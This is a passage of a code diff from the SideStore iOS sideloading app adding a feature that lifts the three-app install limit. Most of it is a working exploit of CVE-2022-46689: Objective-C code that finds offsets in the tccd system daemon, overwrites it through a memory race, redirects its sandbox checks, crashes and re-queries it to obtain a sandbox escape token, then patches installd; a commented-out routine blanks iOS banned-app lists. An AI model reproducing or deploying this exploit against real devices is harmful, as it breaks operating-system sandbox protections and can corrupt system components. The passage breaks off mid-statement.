displayError("minimuxer failed to start, please restart SideStore. \(error.message())")
|
||||
}
|
||||
set_debug(UserDefaults.shared.isDebugLoggingEnabled)
|
||||
start_auto_mounter(documentsDirectory)
|
||||
}
|
||||
}
|
||||
|
||||
177
AltStore/MDC/MDC+AltStore.swift
Normal file
@@ -0,0 +1,177 @@
|
||||
// Extension of MDC+AltStoreCore for the functionality AltStore uses
|
||||
// The only reason we can't have it all in AltStore is because AltStoreCore requires one variable of MDC to determine the free app limit
|
||||
|
||||
import Foundation
|
||||
import AltStoreCore
|
||||
|
||||
extension MDC {
|
||||
#if MDC
|
||||
enum PatchError: LocalizedError {
|
||||
case NoFDA(error: String)
|
||||
case FailedPatchd
|
||||
|
||||
var failureReason: String? {
|
||||
switch (self) {
|
||||
case .NoFDA(let error): return L10n.Remove3AppLimitView.Errors.noFDA(error)
|
||||
case .FailedPatchd: return L10n.Remove3AppLimitView.Errors.failedPatchd
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static func patch3AppLimit() async throws {
|
||||
#if !targetEnvironment(simulator)
|
||||
let res: PatchError? = await withCheckedContinuation { continuation in
|
||||
grant_full_disk_access { error in
|
||||
if let error = error {
|
||||
continuation.resume(returning: PatchError.NoFDA(error: error.message()))
|
||||
} else if !patch_installd() {
|
||||
continuation.resume(returning: PatchError.FailedPatchd)
|
||||
} else {
|
||||
continuation.resume(returning: nil)
|
||||
}
|
||||
}
|
||||
}
|
||||
if let error = res {
|
||||
throw error
|
||||
}
|
||||
#else
|
||||
print("The patch would be running right now if you weren't using a simulator. It will stop \"running\" in 3 seconds.")
|
||||
try await Task.sleep(nanoseconds: UInt64(3 * Double(NSEC_PER_SEC)))
|
||||
// throw MDC.PatchError.NoFDA(error: "This is a test error")
|
||||
#endif
|
||||
|
||||
UserDefaults.shared.lastInstalldPatchBootTime = bootTime()
|
||||
UserDefaults.shared.hasPatchedInstalldEver = true
|
||||
}
|
||||
|
||||
static func alertIfNotPatched() {
|
||||
guard UserDefaults.shared.hasPatchedInstalldEver && !installdHasBeenPatched && isSupported else { return }
|
||||
|
||||
UIApplication.alert(
|
||||
title: L10n.Remove3AppLimitView.title,
|
||||
message: L10n.Remove3AppLimitView.NotAppliedAlert.message,
|
||||
leftButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.apply, action: { _ in
|
||||
Task {
|
||||
do {
|
||||
try await MDC.patch3AppLimit()
|
||||
|
||||
await UIApplication.alert(
|
||||
title: L10n.Remove3AppLimitView.success
|
||||
)
|
||||
} catch {
|
||||
await UIApplication.alert(
|
||||
title: L10n.AsyncFallibleButton.error,
|
||||
message: error.message()
|
||||
)
|
||||
}
|
||||
}
|
||||
}),
|
||||
rightButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.continueWithout, action: nil)
|
||||
)
|
||||
}
|
||||
#endif
|
||||
|
||||
private static let ios15 = OperatingSystemVersion(majorVersion: 15, minorVersion: 0, patchVersion: 0) // supported
|
||||
private static let ios15_7_2 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2) // fixed
|
||||
|
||||
private static let ios16 = OperatingSystemVersion(majorVersion: 16, minorVersion: 0, patchVersion: 0) // supported
|
||||
private static let ios16_2 = OperatingSystemVersion(majorVersion: 16, minorVersion: 2, patchVersion: 0) // fixed
|
||||
|
||||
static var isSupported: Bool {
|
||||
#if targetEnvironment(simulator)
|
||||
true
|
||||
#else
|
||||
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15_7_2)) ||
|
||||
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16_2))
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
#if MDC
|
||||
// enum WhitelistPatchResult {
|
||||
// case success, failure
|
||||
// }
|
||||
//
|
||||
// let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
|
||||
//
|
||||
// func patchWhiteList() {
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// }
|
||||
//
|
||||
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
|
||||
// #if false
|
||||
// let documentDirectory = FileManager.default.urls(
|
||||
// for: .documentDirectory,
|
||||
// in: .userDomainMask
|
||||
// )[0].path
|
||||
//
|
||||
// let pathToRealTarget = originPath
|
||||
// let originPath = documentDirectory + originPath
|
||||
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
|
||||
// try! origData.write(to: URL(fileURLWithPath: originPath))
|
||||
// #endif
|
||||
//
|
||||
// // open and map original font
|
||||
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
|
||||
// if fd == -1 {
|
||||
// print("Could not open target file")
|
||||
// return false
|
||||
// }
|
||||
// defer { close(fd) }
|
||||
// // check size of font
|
||||
// let originalFileSize = lseek(fd, 0, SEEK_END)
|
||||
// guard originalFileSize >= replacementData.count else {
|
||||
// print("Original file: \(originalFileSize)")
|
||||
// print("Replacement file: \(replacementData.count)")
|
||||
// print("File too big!")
|
||||
// return false
|
||||
// }
|
||||
// lseek(fd, 0, SEEK_SET)
|
||||
//
|
||||
// // Map the font we want to overwrite so we can mlock it
|
||||
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
|
||||
// if fileMap == MAP_FAILED {
|
||||
// print("Failed to map")
|
||||
// return false
|
||||
// }
|
||||
// // mlock so the file gets cached in memory
|
||||
// guard mlock(fileMap, replacementData.count) == 0 else {
|
||||
// print("Failed to mlock")
|
||||
// return true
|
||||
// }
|
||||
//
|
||||
// // for every 16k chunk, rewrite
|
||||
// print(Date())
|
||||
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
|
||||
// print(String(format: "%lx", chunkOff))
|
||||
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
|
||||
// var overwroteOne = false
|
||||
// for _ in 0..<2 {
|
||||
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
|
||||
// unalign_csr(
|
||||
// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
|
||||
// )
|
||||
// }
|
||||
// if overwriteSucceeded {
|
||||
// overwroteOne = true
|
||||
// print("Successfully overwrote!")
|
||||
// break
|
||||
// }
|
||||
// print("try again?!")
|
||||
// }
|
||||
// guard overwroteOne else {
|
||||
// print("Failed to overwrite")
|
||||
// return false
|
||||
// }
|
||||
// }
|
||||
// print(Date())
|
||||
// print("Successfully overwrote!")
|
||||
// return true
|
||||
// }
|
||||
//
|
||||
// func readFile(path: String) -> String? {
|
||||
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
|
||||
// }
|
||||
#endif
|
||||
33
AltStore/MDC/MDC+AltStoreCore.swift
Normal file
@@ -0,0 +1,33 @@
|
||||
//
|
||||
// MDC+AltStoreCore.swift
|
||||
// AltStoreCore
|
||||
//
|
||||
// Created by naturecodevoid on 5/31/23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
// Parts of MDC we need in AltStoreCore
|
||||
// TODO: destroy AltStoreCore
|
||||
|
||||
public class MDC {
|
||||
#if MDC
|
||||
public static var installdHasBeenPatched: Bool {
|
||||
guard let lastInstalldPatchBootTime = UserDefaults.shared.lastInstalldPatchBootTime else { return false }
|
||||
return lastInstalldPatchBootTime == bootTime()
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
#if MDC
|
||||
public func bootTime() -> Date? {
|
||||
var tv = timeval()
|
||||
var tvSize = MemoryLayout<timeval>.size
|
||||
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
|
||||
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
|
||||
return nil
|
||||
}
|
||||
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
|
||||
}
|
||||
#endif
|
||||
99
AltStore/MDC/Remove3AppLimitView.swift
Normal file
@@ -0,0 +1,99 @@
|
||||
//
|
||||
// Remove3AppLimitView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by naturecodevoid on 5/29/23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
#if MDC
|
||||
import SwiftUI
|
||||
import AltStoreCore
|
||||
|
||||
fileprivate extension View {
|
||||
func common() -> some View {
|
||||
self
|
||||
.padding()
|
||||
.transition(.opacity.animation(.linear))
|
||||
}
|
||||
}
|
||||
|
||||
struct Remove3AppLimitView: View {
|
||||
@ObservedObject private var iO = Inject.observer
|
||||
|
||||
@State var runningPatch = false
|
||||
@State private var showErrorAlert = false
|
||||
@State private var errorAlertMessage = ""
|
||||
@State private var showSuccessAlert = false
|
||||
|
||||
@ViewBuilder
|
||||
private var notSupported: some View {
|
||||
Text(L10n.Remove3AppLimitView.notSupported)
|
||||
}
|
||||
|
||||
@ViewBuilder
|
||||
private var installdHasBeenPatched: some View {
|
||||
Text(L10n.Remove3AppLimitView.alreadyPatched)
|
||||
Text(L10n.Remove3AppLimitView.tenAppsInfo)
|
||||
}
|
||||
|
||||
@ViewBuilder
|
||||
private var applyPatch: some View {
|
||||
Text(L10n.Remove3AppLimitView.patchInfo)
|
||||
Text(L10n.Remove3AppLimitView.tenAppsInfo)
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
VStack {
|
||||
if !MDC.isSupported {
|
||||
notSupported.common()
|
||||
} else {
|
||||
if MDC.installdHasBeenPatched {
|
||||
installdHasBeenPatched.common()
|
||||
} else {
|
||||
applyPatch.common()
|
||||
SwiftUI.Button(action: {
|
||||
Task {
|
||||
do {
|
||||
guard !runningPatch else { return }
|
||||
runningPatch = true
|
||||
|
||||
try await MDC.patch3AppLimit()
|
||||
|
||||
showSuccessAlert = true
|
||||
} catch {
|
||||
errorAlertMessage = error.message()
|
||||
showErrorAlert = true
|
||||
}
|
||||
runningPatch = false
|
||||
}
|
||||
}) { Text(L10n.Remove3AppLimitView.applyPatch) }
|
||||
.buttonStyle(FilledButtonStyle(isLoading: runningPatch, hideLabelOnLoading: false))
|
||||
.padding()
|
||||
}
|
||||
}
|
||||
Spacer()
|
||||
}
|
||||
.alert(isPresented: $showErrorAlert) {
|
||||
Alert(
|
||||
title: Text(L10n.AsyncFallibleButton.error),
|
||||
message: Text(errorAlertMessage)
|
||||
)
|
||||
}
|
||||
.alert(isPresented: $showSuccessAlert) {
|
||||
Alert(
|
||||
title: Text(L10n.Action.success),
|
||||
message: Text(L10n.Remove3AppLimitView.success)
|
||||
)
|
||||
}
|
||||
.navigationTitle(L10n.Remove3AppLimitView.title)
|
||||
.enableInjection()
|
||||
}
|
||||
}
|
||||
|
||||
struct Remove3AppLimitView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
Remove3AppLimitView()
|
||||
}
|
||||
}
|
||||
#endif
|
||||
8
AltStore/MDC/grant_full_disk_access.h
Normal file
@@ -0,0 +1,8 @@
|
||||
#ifdef MDC
|
||||
#pragma once
|
||||
@import Foundation;
|
||||
|
||||
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
|
||||
void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable));
|
||||
bool patch_installd(void);
|
||||
#endif /* MDC */
|
||||
612
AltStore/MDC/grant_full_disk_access.m
Normal file
@@ -0,0 +1,612 @@
|
||||
#ifdef MDC
|
||||
@import Darwin;
|
||||
@import Foundation;
|
||||
@import MachO;
|
||||
|
||||
#import <mach-o/fixup-chains.h>
|
||||
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
|
||||
// WDBFontOverwrite
|
||||
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
|
||||
// Please don't call this code on iOS 14 or below
|
||||
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
|
||||
#import "grant_full_disk_access.h"
|
||||
#import "helpers.h"
|
||||
#import "vm_unaligned_copy_switch_race.h"
|
||||
|
||||
typedef NSObject* xpc_object_t;
|
||||
typedef xpc_object_t xpc_connection_t;
|
||||
typedef void (^xpc_handler_t)(xpc_object_t object);
|
||||
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
|
||||
xpc_object_t _Nullable const* values, size_t count);
|
||||
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
|
||||
uint64_t flags);
|
||||
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
|
||||
void xpc_connection_resume(xpc_connection_t connection);
|
||||
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
|
||||
dispatch_queue_t replyq, xpc_handler_t handler);
|
||||
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
|
||||
xpc_object_t message);
|
||||
xpc_object_t xpc_bool_create(bool value);
|
||||
xpc_object_t xpc_string_create(const char* string);
|
||||
xpc_object_t xpc_null_create(void);
|
||||
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
|
||||
|
||||
int64_t sandbox_extension_consume(const char* token);
|
||||
|
||||
// MARK: - patchfind
|
||||
|
||||
struct grant_full_disk_access_offsets {
|
||||
uint64_t offset_addr_s_com_apple_tcc_;
|
||||
uint64_t offset_padding_space_for_read_write_string;
|
||||
uint64_t offset_addr_s_kTCCServiceMediaLibrary;
|
||||
uint64_t offset_auth_got__sandbox_init;
|
||||
uint64_t offset_just_return_0;
|
||||
bool is_arm64e;
|
||||
};
|
||||
|
||||
static bool patchfind_sections(void* executable_map,
|
||||
struct segment_command_64** data_const_segment_out,
|
||||
struct symtab_command** symtab_out,
|
||||
struct dysymtab_command** dysymtab_out) {
|
||||
struct mach_header_64* executable_header = executable_map;
|
||||
struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
|
||||
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
|
||||
load_command_index++) {
|
||||
switch (load_command->cmd) {
|
||||
case LC_SEGMENT_64: {
|
||||
struct segment_command_64* segment = (struct segment_command_64*)load_command;
|
||||
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
|
||||
*data_const_segment_out = segment;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case LC_SYMTAB: {
|
||||
*symtab_out = (struct symtab_command*)load_command;
|
||||
break;
|
||||
}
|
||||
case LC_DYSYMTAB: {
|
||||
*dysymtab_out = (struct dysymtab_command*)load_command;
|
||||
break;
|
||||
}
|
||||
}
|
||||
load_command = ((void*)load_command) + load_command->cmdsize;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
|
||||
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
|
||||
struct section_64* last_section = §ion_array[segment->nsects - 1];
|
||||
return last_section->offset + last_section->size;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
|
||||
const char* needle) {
|
||||
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||
if (!str_offset) {
|
||||
return 0;
|
||||
}
|
||||
uint64_t str_file_offset = str_offset - executable_map;
|
||||
for (int i = 0; i < executable_length; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||
if ((val & 0xfffffffful) == str_file_offset) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
|
||||
// TCCDSyncAccessAction::sequencer
|
||||
// mov x0, #0
|
||||
// ret
|
||||
static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||
if (!offset) {
|
||||
return 0;
|
||||
}
|
||||
return offset - executable_map;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_got(void* executable_map, size_t executable_length,
|
||||
struct segment_command_64* data_const_segment,
|
||||
struct symtab_command* symtab_command,
|
||||
struct dysymtab_command* dysymtab_command,
|
||||
const char* target_symbol_name) {
|
||||
uint64_t target_symbol_index = 0;
|
||||
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
|
||||
struct nlist_64* sym =
|
||||
((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
|
||||
const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
|
||||
if (strcmp(sym_name, target_symbol_name)) {
|
||||
continue;
|
||||
}
|
||||
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
|
||||
target_symbol_index = sym_index;
|
||||
break;
|
||||
}
|
||||
|
||||
struct section_64* section_array =
|
||||
((void*)data_const_segment) + sizeof(struct segment_command_64);
|
||||
struct section_64* first_section = §ion_array[0];
|
||||
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
|
||||
strcmp(first_section->sectname, "__got") == 0)) {
|
||||
return 0;
|
||||
}
|
||||
uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
|
||||
|
||||
for (int i = 0; i < first_section->size; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
|
||||
uint64_t indirect_table_entry = (val & 0xfffful);
|
||||
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
|
||||
return first_section->offset + i;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static bool patchfind(void* executable_map, size_t executable_length,
|
||||
struct grant_full_disk_access_offsets* offsets) {
|
||||
struct segment_command_64* data_const_segment = nil;
|
||||
struct symtab_command* symtab_command = nil;
|
||||
struct dysymtab_command* dysymtab_command = nil;
|
||||
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||
&dysymtab_command)) {
|
||||
printf("no sections\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_addr_s_com_apple_tcc_ =
|
||||
patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
|
||||
printf("no com.apple.tcc. string\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_padding_space_for_read_write_string =
|
||||
patchfind_get_padding(data_const_segment)) == 0) {
|
||||
printf("no padding\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
|
||||
executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
|
||||
printf("no kTCCServiceMediaLibrary string\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_auth_got__sandbox_init =
|
||||
patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
|
||||
dysymtab_command, "_sandbox_init")) == 0) {
|
||||
printf("no sandbox_init\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
|
||||
0) {
|
||||
printf("no just return 0\n");
|
||||
return false;
|
||||
}
|
||||
struct mach_header_64* executable_header = executable_map;
|
||||
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// MARK: - tccd patching
|
||||
|
||||
static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
|
||||
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
|
||||
// re-use it until next reboot.
|
||||
// Returns the sandbox token if there is one, or nil if there isn't one.
|
||||
xpc_connection_t connection = xpc_connection_create_mach_service(
|
||||
"com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
|
||||
NSLog(@"xpc event handler: %@", object);
|
||||
});
|
||||
xpc_connection_resume(connection);
|
||||
const char* keys[] = {
|
||||
"TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
|
||||
"target_token", "background_session",
|
||||
};
|
||||
xpc_object_t values[] = {
|
||||
xpc_string_create("17087.1"),
|
||||
xpc_string_create("TCCAccessRequest"),
|
||||
xpc_string_create("com.apple.app-sandbox.read-write"),
|
||||
xpc_null_create(),
|
||||
xpc_bool_create(false),
|
||||
xpc_null_create(),
|
||||
xpc_bool_create(false),
|
||||
};
|
||||
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
|
||||
#if 0
|
||||
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
|
||||
NSLog(@"%@", response_message);
|
||||
|
||||
#endif
|
||||
xpc_connection_send_message_with_reply(
|
||||
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
|
||||
^(xpc_object_t object) {
|
||||
if (!object) {
|
||||
NSLog(@"object is nil???");
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
NSLog(@"response: %@", object);
|
||||
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
|
||||
NSLog(@"xpc error?");
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
NSLog(@"debug description: %@", [object debugDescription]);
|
||||
const char* extension_string = xpc_dictionary_get_string(object, "extension");
|
||||
NSString* extension_nsstring =
|
||||
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
|
||||
completion(extension_nsstring);
|
||||
});
|
||||
}
|
||||
|
||||
static NSData* patchTCCD(void* executableMap, size_t executableLength) {
|
||||
struct grant_full_disk_access_offsets offsets = {};
|
||||
if (!patchfind(executableMap, executableLength, &offsets)) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
|
||||
char* mutableBytes = data.mutableBytes;
|
||||
{
|
||||
// rewrite com.apple.tcc. into blank string
|
||||
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
|
||||
}
|
||||
{
|
||||
// make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
|
||||
// we need to stick this somewhere; just put it in the padding between
|
||||
// the end of __objc_arrayobj and the end of __DATA_CONST
|
||||
strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
|
||||
"com.apple.app-sandbox.read-write");
|
||||
struct dyld_chained_ptr_arm64e_rebase targetRebase =
|
||||
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||
offsets.offset_addr_s_kTCCServiceMediaLibrary);
|
||||
targetRebase.target = offsets.offset_padding_space_for_read_write_string;
|
||||
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||
offsets.offset_addr_s_kTCCServiceMediaLibrary) =
|
||||
targetRebase;
|
||||
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
|
||||
strlen("com.apple.app-sandbox.read-write");
|
||||
}
|
||||
if (offsets.is_arm64e) {
|
||||
// make sandbox_init call return 0;
|
||||
struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
|
||||
.auth = 1,
|
||||
.bind = 0,
|
||||
.next = 1,
|
||||
.key = 0, // IA
|
||||
.addrDiv = 1,
|
||||
.diversity = 0,
|
||||
.target = offsets.offset_just_return_0,
|
||||
};
|
||||
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||
offsets.offset_auth_got__sandbox_init) =
|
||||
targetRebase;
|
||||
} else {
|
||||
// make sandbox_init call return 0;
|
||||
struct dyld_chained_ptr_64_rebase targetRebase = {
|
||||
.bind = 0,
|
||||
.next = 2,
|
||||
.target = offsets.offset_just_return_0,
|
||||
};
|
||||
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
|
||||
targetRebase;
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static bool overwrite_file(int fd, NSData* sourceData) {
|
||||
for (int off = 0; off < sourceData.length; off += 0x4000) {
|
||||
bool success = false;
|
||||
for (int i = 0; i < 2; i++) {
|
||||
if (unaligned_copy_switch_race(
|
||||
fd, off, sourceData.bytes + off,
|
||||
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
|
||||
success = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!success) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
|
||||
NSError* _Nullable error)) {
|
||||
char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
|
||||
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
if (fd == -1) {
|
||||
// iOS 15.3 and below
|
||||
targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
|
||||
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
}
|
||||
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||
|
||||
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||
NSData* sourceData = patchTCCD(targetMap, targetLength);
|
||||
if (!sourceData) {
|
||||
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:5
|
||||
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!overwrite_file(fd, sourceData)) {
|
||||
overwrite_file(fd, originalData);
|
||||
munmap(targetMap, targetLength);
|
||||
completion(
|
||||
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:1
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
|
||||
@"not be vulnerable to CVE-2022-46689."
|
||||
}]);
|
||||
return;
|
||||
}
|
||||
munmap(targetMap, targetLength);
|
||||
|
||||
xpc_crasher("com.apple.tccd");
|
||||
sleep(1);
|
||||
call_tccd(^(NSString* _Nullable extension_token) {
|
||||
overwrite_file(fd, originalData);
|
||||
xpc_crasher("com.apple.tccd");
|
||||
NSError* returnError = nil;
|
||||
if (extension_token == nil) {
|
||||
returnError =
|
||||
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:2
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"tccd did not return an extension token."
|
||||
}];
|
||||
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
|
||||
returnError = [NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:3
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
|
||||
@"instead of an app sandbox token."
|
||||
}];
|
||||
extension_token = nil;
|
||||
}
|
||||
completion(extension_token, returnError);
|
||||
});
|
||||
}
|
||||
|
||||
void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
|
||||
if (!NSClassFromString(@"NSPresentationIntent")) {
|
||||
// class introduced in iOS 15.0.
|
||||
// TODO(zhuowei): maybe check the actual OS version instead?
|
||||
completion([NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:6
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey :
|
||||
@"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
|
||||
@"reverted after reboot, so running this may permanently corrupt tccd."
|
||||
}]);
|
||||
return;
|
||||
}
|
||||
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
|
||||
inDomains:NSUserDomainMask][0];
|
||||
NSURL* sourceURL =
|
||||
[documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
|
||||
NSError* error = nil;
|
||||
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
|
||||
encoding:NSUTF8StringEncoding
|
||||
error:&error];
|
||||
if (cachedToken) {
|
||||
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
|
||||
if (handle > 0) {
|
||||
// cached version worked
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
}
|
||||
grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
|
||||
if (error) {
|
||||
completion(error);
|
||||
return;
|
||||
}
|
||||
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
|
||||
if (handle <= 0) {
|
||||
completion([NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:4
|
||||
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
|
||||
return;
|
||||
}
|
||||
[extension_token writeToURL:sourceURL
